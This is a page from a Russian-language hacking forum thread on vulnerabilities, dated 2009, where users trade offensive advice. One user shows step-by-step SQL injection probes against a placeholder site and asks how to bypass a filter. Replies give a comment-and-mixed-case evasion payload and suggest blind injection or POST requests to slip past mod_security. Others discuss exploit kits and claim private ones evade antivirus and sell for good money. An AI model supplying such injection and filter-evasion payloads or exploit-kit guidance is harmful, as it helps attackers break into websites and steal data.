HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 929 из 2438 « Первая < 429829879919 925 926 927 928 929 930 931 932 933 939979102914291929 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #9281  
Старый 08.10.2009, 19:36
Torentte
Новичок
Регистрация: 03.10.2009
Сообщений: 18
С нами: 8739062

Репутация: 5
По умолчанию
Цитата:
Сообщение от mailbrush  
Почему же? Я уже и бекконнект сделал
странно,у меня есть и логин и пасс, но чёт не пускает)
 
Ответить с цитированием

  #9282  
Старый 08.10.2009, 19:38
Torentte
Новичок
Регистрация: 03.10.2009
Сообщений: 18
С нами: 8739062

Репутация: 5
По умолчанию
Цитата:
Сообщение от mailbrush  
Почему же? Я уже и бекконнект сделал
всё работает)спс биг)эт я напутал)))
 
Ответить с цитированием

  #9283  
Старый 08.10.2009, 23:31
smtgr
Новичок
Регистрация: 08.10.2009
Сообщений: 1
С нами: 8732695

Репутация: 0
По умолчанию
Доброго времени.
Нашел вроде SQL-inj:
http://site.net/index.php?id=777' - выдает пустую страницу
http://site.net/index.php?id=777+order+by+1/* - отображает корректоно
http://site.net/index.php?id=777+order+by+10/*-снова пусто
Подобрал, 3 столбца. Набираю:
http://site.net /index.php?id=777+and+1=2+union+select+1,2,3/* - вывод отличен от всех предидущих (Forbidden...blablabla).
Похоже на фильтрацию. Какие варианты есть чтобы обойти?

P.s. Сорри если подобный вопрос уже был. Топик очень большой - не прочел еще все
Последний раз редактировалось smtgr; 08.10.2009 в 23:34..
 
Ответить с цитированием

  #9284  
Старый 09.10.2009, 01:13
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами: 9466141

Репутация: 74
По умолчанию
попробуй покрутить как слепую скуль.
 
Ответить с цитированием

  #9285  
Старый 09.10.2009, 05:44
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию
Цитата:
Сообщение от smtgr  
Доброго времени.
Нашел вроде SQL-inj:
http://site.net/index.php?id=777' - выдает пустую страницу
http://site.net/index.php?id=777+order+by+1/* - отображает корректоно
http://site.net/index.php?id=777+order+by+10/*-снова пусто
Подобрал, 3 столбца. Набираю:
http://site.net /index.php?id=777+and+1=2+union+select+1,2,3/* - вывод отличен от всех предидущих (Forbidden...blablabla).
Похоже на фильтрацию. Какие варианты есть чтобы обойти?

P.s. Сорри если подобный вопрос уже был. Топик очень большой - не прочел еще все
В зависимости от конкретной ситуации... дай реальный пример...
 
Ответить с цитированием

  #9286  
Старый 09.10.2009, 07:16
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию
Цитата:
Сообщение от smtgr  
Доброго времени.
Нашел вроде SQL-inj:
http://site.net/index.php?id=777' - выдает пустую страницу
http://site.net/index.php?id=777+order+by+1/* - отображает корректоно
http://site.net/index.php?id=777+order+by+10/*-снова пусто
Подобрал, 3 столбца. Набираю:
http://site.net /index.php?id=777+and+1=2+union+select+1,2,3/* - вывод отличен от всех предидущих (Forbidden...blablabla).
Похоже на фильтрацию. Какие варианты есть чтобы обойти?

P.s. Сорри если подобный вопрос уже был. Топик очень большой - не прочел еще все
-12/**/ANd/**/1=2/**/uNioN/**/SeLecT/**/1,2,3/*
Попробуй так что ле...
Без пример сложновато
 
Ответить с цитированием

  #9287  
Старый 09.10.2009, 11:46
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами: 9347610

Репутация: 165
По умолчанию
Существуют ли бесплатные связки эксплоитов?
Если да, то какие лежат в паблике?
 
Ответить с цитированием

  #9288  
Старый 09.10.2009, 12:41
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию
Цитата:
Сообщение от SeNaP  
Существуют ли бесплатные связки эксплоитов?
Если да, то какие лежат в паблике?
В паблике такие связки, которые паляться антивирусами.
А в привате, за очень неплохие деньги, антивирами не будет палиться, и распуститься быстро.
 
Ответить с цитированием

  #9289  
Старый 09.10.2009, 13:00
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию
Прив связки не так то и сложно достать...
 
Ответить с цитированием

  #9290  
Старый 09.10.2009, 15:19
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
С нами: 9521666

Репутация: 1695
По умолчанию
Цитата:
Сообщение от smtgr  
Доброго времени.
Нашел вроде SQL-inj:
http://site.net/index.php?id=777' - выдает пустую страницу
http://site.net/index.php?id=777+order+by+1/* - отображает корректоно
http://site.net/index.php?id=777+order+by+10/*-снова пусто
Подобрал, 3 столбца. Набираю:
http://site.net /index.php?id=777+and+1=2+union+select+1,2,3/* - вывод отличен от всех предидущих (Forbidden...blablabla).
Похоже на фильтрацию. Какие варианты есть чтобы обойти?

P.s. Сорри если подобный вопрос уже был. Топик очень большой - не прочел еще все
Возможно Apache с mod_security, по обходу, попробуй POST'ом послать.
 
Ответить с цитированием
Ответ
Страница 929 из 2438 « Первая < 429829879919 925 926 927 928 929 930 931 932 933 939979102914291929 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.